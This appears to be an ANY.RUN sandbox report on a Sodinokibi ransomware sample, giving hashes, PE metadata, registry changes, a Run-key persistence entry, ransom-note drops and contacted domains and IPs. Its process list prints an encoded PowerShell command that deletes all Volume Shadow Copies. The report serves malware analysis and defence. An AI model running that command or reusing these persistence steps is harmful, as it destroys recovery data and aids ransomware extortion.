File name:

svhost.exe

Full analysis: https://app.any.run/tasks/239a135a-f0b0-49ff-908a-5d26819f866e
Verdict: Malicious activity
Threats:

Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying.

Malware Trends Tracker     >>>
Analysis date: December 24, 2019, 10:53:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ransomware
sodinokibi
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

6BC5C8FA59B3F60F9E70C900B4BCD514

SHA1:

3829581C6FEC0E157AD244258264837365ABF3AD

SHA256:

510EB5EBDF01D199742A98E50DD00637C6B9AF6A22DB23635BD63D4B2BF9885E

SSDEEP:

6144:k9X+ScYkvtY3NgcFcJ28uIDnBNfthQ8LnLnQ5Pp:gsYitSuEIFN1XLnLQ5Pp

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • svhost.exe (PID: 3532)

    • Changes the autorun value in the registry

      • svhost.exe (PID: 3532)

    • Renames files like Ransomware

      • svhost.exe (PID: 3532)

    • Sodinokibi ransom note found

      • svhost.exe (PID: 3532)

  • SUSPICIOUS

    • Executes PowerShell scripts

      • svhost.exe (PID: 3532)

    • Executed via COM

      • unsecapp.exe (PID: 3976)

    • Executed as Windows Service

      • vssvc.exe (PID: 2496)

    • Executable content was dropped or overwritten

      • svhost.exe (PID: 640)

    • Creates files in the user directory

      • powershell.exe (PID: 3624)

    • Creates files like Ransomware instruction

      • svhost.exe (PID: 3532)

  • INFO

    • Dropped object may contain TOR URL's

      • svhost.exe (PID: 3532)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable Borland Delphi 6 (93.8)
.dll | Win32 Dynamic Link Library (generic) (2.3)
.exe | Win32 Executable (generic) (1.6)
.exe | Win16/32 Executable Delphi generic (0.7)
.exe | Generic Win/DOS Executable (0.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 1992:06:20 00:22:17+02:00
PEType: PE32
LinkerVersion: 2.25
CodeSize: 29696
InitializedDataSize: 10752
UninitializedDataSize: -
EntryPoint: 0x80e4
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 19-Jun-1992 22:22:17
Detected languages:
  • Russian - Russia

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0050
Pages in file: 0x0002
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x000F
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x001A
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000100

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 8
Time date stamp: 19-Jun-1992 22:22:17
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_BYTES_REVERSED_HI
  • IMAGE_FILE_BYTES_REVERSED_LO
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
CODE
0x00001000
0x0000722C
0x00007400
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.51167
DATA
0x00009000
0x00000218
0x00000400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.1517
BSS
0x0000A000
0x0000A899
0x00000000
IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
.idata
0x00015000
0x00000864
0x00000A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
4.17386
.tls
0x00016000
0x00000008
0x00000000
IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
.rdata
0x00017000
0x00000018
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_SHARED
0.20692
.reloc
0x00018000
0x000005CC
0x00000600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_SHARED
6.44309
.rsrc
0x00019000
0x00001400
0x00001400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_SHARED
1.29674

Resources

Title
Entropy
Size
Codepage
Language
Type
1
0
4264
UNKNOWN
Russian - Russia
RT_ICON
DVCLAL
4
16
UNKNOWN
UNKNOWN
RT_RCDATA
PACKAGEINFO
6.90278
172
UNKNOWN
UNKNOWN
RT_RCDATA
MAINICON
1.7815
20
UNKNOWN
Russian - Russia
RT_GROUP_ICON

Imports

advapi32.dll
gdi32.dll
kernel32.dll
oleaut32.dll
shell32.dll
user32.dll
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
5
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
drop and start start svhost.exe #SODINOKIBI svhost.exe powershell.exe no specs unsecapp.exe no specs vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
640"C:\Users\admin\AppData\Local\Temp\svhost.exe" C:\Users\admin\AppData\Local\Temp\svhost.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\svhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2496C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\vssvc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3532"C:\Users\admin\AppData\Local\Temp\3582-490\svhost.exe" C:\Users\admin\AppData\Local\Temp\3582-490\svhost.exe
svhost.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\3582-490\svhost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3624powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—svhost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3976C:\Windows\system32\wbem\unsecapp.exe -EmbeddingC:\Windows\system32\wbem\unsecapp.exe—svchost.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Sink to receive asynchronous callbacks for WMI client application
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\wbem\unsecapp.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\wbemcomn.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
Total events
455
Read events
429
Write events
26
Delete events
0

Modification events

(PID) Process:(640) svhost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(640) svhost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3532) svhost.exeKey:HKEY_CURRENT_USER\Software\GitForWindows
Operation:writeName:73g
Value:
62161C7366ED14190387724644CC5B33D9EA571F8E9B5F8E21432564DADEBF35
(PID) Process:(3532) svhost.exeKey:HKEY_CURRENT_USER\Software\GitForWindows
Operation:writeName:vTGj
Value:
FFB1A6CFA1C6F436627AA7E91FD65691E538680ECEC5F30D81B1F57DFC5DA253
(PID) Process:(3532) svhost.exeKey:HKEY_CURRENT_USER\Software\GitForWindows
Operation:writeName:Q7PZe
Value:
02594F297D44154F3D3A7CF4A3F4DFBB3FF9C037B8440052D54898F6EACABF6627FC5329766F7610C590DFD4E5C56D24A58499F6F42D32A7CA4EABAC3EAE82127BB3D64E3A095D789F99D02AB3449D93270EE3A4743092EE
(PID) Process:(3532) svhost.exeKey:HKEY_CURRENT_USER\Software\GitForWindows
Operation:writeName:BuCrIp
Value:
F7636158E6390FEAB1C52B805004A2920269643FA63790DB7F178E61ECFE4315B62618A8AA6DB33383733E0CD3C679005CC7B536133B1C204F0DA564E39E3A554A0FEB36CF74C510A011E40F5CDB416415F5FF799D74E53B
(PID) Process:(3532) svhost.exeKey:HKEY_CURRENT_USER\Software\GitForWindows
Operation:writeName:lcZd7OY
Value:
.o8150
(PID) Process:(3532) svhost.exeKey:HKEY_CURRENT_USER\Software\GitForWindows
Operation:writeName:sLF86MWC
Value:
20E34B94B09282256976C20C983F86E377F6ECF2CD9273F897A2B76EA51C6E4ADA3F3D0F7583DF0162BA1EE86860553FE8CCEE6DC8CFE8ED0A1F5DC020D0A0C2F185911395FE783C5082A69DC587AC8D70CA890C2FDAF234A13275AEF9C2520D6AE8198783438DA786A0A7EF54453B83B862CFA47F6D260C0E947110ADA89380AC1FAE51BAC30CC184F5AD15E399DFCBE0E75AEDE940617D32E5CCC520E575BB59185311D2433AD0CCF92BED72FB3FC7AFA091808DFDB8A51A2B2971582643BF33DD6A85F4B2B81AABA5599BAA8382E76B77EDD47A2B314B8E1B56ED7A5FAE9CC18E77463BACBED142C056960FED55E425431FBC521E18F98939BF802933723DCE0D9925CEC808A7835E3C6D2D6DF2DB97E52CEC4329814EFDB4BF52B138A5D5D35F56692977C925D2294C5F45552161E5018D59F99EF37ACC26072AD7DC5AA03D2A7C38C597D018C2C130674C5B34B19E501E76B41013A586ED481640D457DAE5E2BDB10C8E19CB4B2766C4F627074D3B6DDFBA33F80D8E29B3E3054511051B2A66C62133EF388D5A5582534CC960BF3A6E2F5533E9174C39EC110BB6AF5F015F573B4DD7CA63A5481A2C54CD30BD0103BEE02B06EF6615A8A0CCCC800AE12BD681F272DAE283398160A19A60319479EA3A80E38566D1B3E87349D207CAA9A94B67C438CC503C12D3ACB7CC27E86F6D76AFEE318DF3186B6D7F3A4BCE81E8D0196BF8BB2B2585CAFB6941513E5F6A311F35CD93595AA2EFE9F2CA88E0C30C4B2275929AD346A3E304B9FDAFF8A28885866000FDFC2A6F13BA9A7DFA4636F6407BA0C479F9DA9354EEDDCC89587C43347BBD71D4278DF2D01F6EE187B413455728EDEFD6A1A383F148CB9DE17B74906AA4A198E11C9453E38DF815191EA22A33187950F5F732AB2856FEFFF7FD9407BCF677711AFBB81323501D0B3A3C19AE31177018F0DFA859E9BD32DA99B2EF1A9A0D25F47382FB0BCE76005CE1AEBA5FDFBB5AF2535E2DDA6452FC30318E404EDF151764FEE15E11D9262BE76E7950BF964F5C55B84AD01381AF0B8B63BCC0598478B429887CBC7CED06F632F68BCB6C853851C7E899F60E272BE031C1FE86E586DE3D93FE3760931DCF6E1C496F8A681FF55EA1D1C708E018E0CE1858E203808B357E222FC8E31596D925425C261899F8EA3E03912BD2FE28E02133DFC72BD4ED814B2188F951CFCD0971A8B7936092F64F3B25778186
(PID) Process:(3532) svhost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:sNpEShi30R
Value:
C:\Users\admin\AppData\Local\Temp\3582-490\svhost.exe
(PID) Process:(3532) svhost.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\12B\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
Executable files
1
Suspicious files
105
Text files
1
Unknown types
5

Dropped files

PID
Process
Filename
Type
3624powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GEAY0WMLA6MULFR7MZFX.temp —
MD5:—
SHA256:—
3532svhost.exeC:\users\admin\favorites\o8150-readme.txtbinary
MD5:—
SHA256:—
3532svhost.exeC:\users\admin\desktop\o8150-readme.txtbinary
MD5:—
SHA256:—
3532svhost.exeC:\users\admin\links\o8150-readme.txtbinary
MD5:—
SHA256:—
3532svhost.exeC:\users\admin\contacts\o8150-readme.txtbinary
MD5:—
SHA256:—
3532svhost.exeC:\users\admin\.oracle_jre_usage\o8150-readme.txtbinary
MD5:—
SHA256:—
3532svhost.exeC:\users\admin\downloads\o8150-readme.txtbinary
MD5:—
SHA256:—
3532svhost.exeC:\users\admin\documents\o8150-readme.txtbinary
MD5:—
SHA256:—
3532svhost.exeC:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp —
MD5:—
SHA256:—
3532svhost.exeC:\users\admin\o8150-readme.txtbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
29
DNS requests
24
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3532
svhost.exe
GET
200
93.184.221.240:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
57.4 Kb
whitelisted
3532
svhost.exe
GET
200
93.184.221.240:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/B51C067CEE2B0C3DF855AB2D92F4FE39D4E70F0E.crt
US
der
993 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3532
svhost.exe
134.119.246.152:443
terraflair.de
Host Europe GmbH
DE
suspicious
3532
svhost.exe
93.184.221.240:80
www.download.windowsupdate.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
3532
svhost.exe
5.134.9.160:443
sarahspics.co.uk
UKDedicated LTD
GB
suspicious
3532
svhost.exe
69.89.31.185:443
jacquesgarcianoto.com
Unified Layer
US
suspicious
3532
svhost.exe
85.158.183.201:443
wg-heiligenstadt.de
Profihost AG
DE
suspicious
3532
svhost.exe
108.167.164.92:443
entdoctor-durban.com
CyrusOne LLC
US
suspicious
3532
svhost.exe
162.243.44.16:443
datatri.be
Digital Ocean, Inc.
US
suspicious
3532
svhost.exe
178.77.86.131:443
soundseeing.net
PlusServer GmbH
DE
suspicious
3532
svhost.exe
145.239.0.194:443
glas-kuck.de
OVH SAS
DE
unknown
3532
svhost.exe
77.241.81.11:443
geoweb.software
Easyhost BVBA
BE
unknown

DNS requests

Domain
IP
Reputation
slotspinner.com
  • 104.28.27.170
  • 104.28.26.170
suspicious
eurethicsport.eu
  • 185.2.4.41
suspicious
atrgroup.it
  • 109.199.121.217
malicious
terraflair.de
  • 134.119.246.152
malicious
www.download.windowsupdate.com
  • 93.184.221.240
whitelisted
sarahspics.co.uk
  • 5.134.9.160
unknown
entdoctor-durban.com
  • 108.167.164.92
suspicious
jacquesgarcianoto.com
  • 69.89.31.185
malicious
datatri.be
  • 162.243.44.16
suspicious
wg-heiligenstadt.de
  • 85.158.183.201
suspicious

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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ANY.RUN
Reports
svhost.exe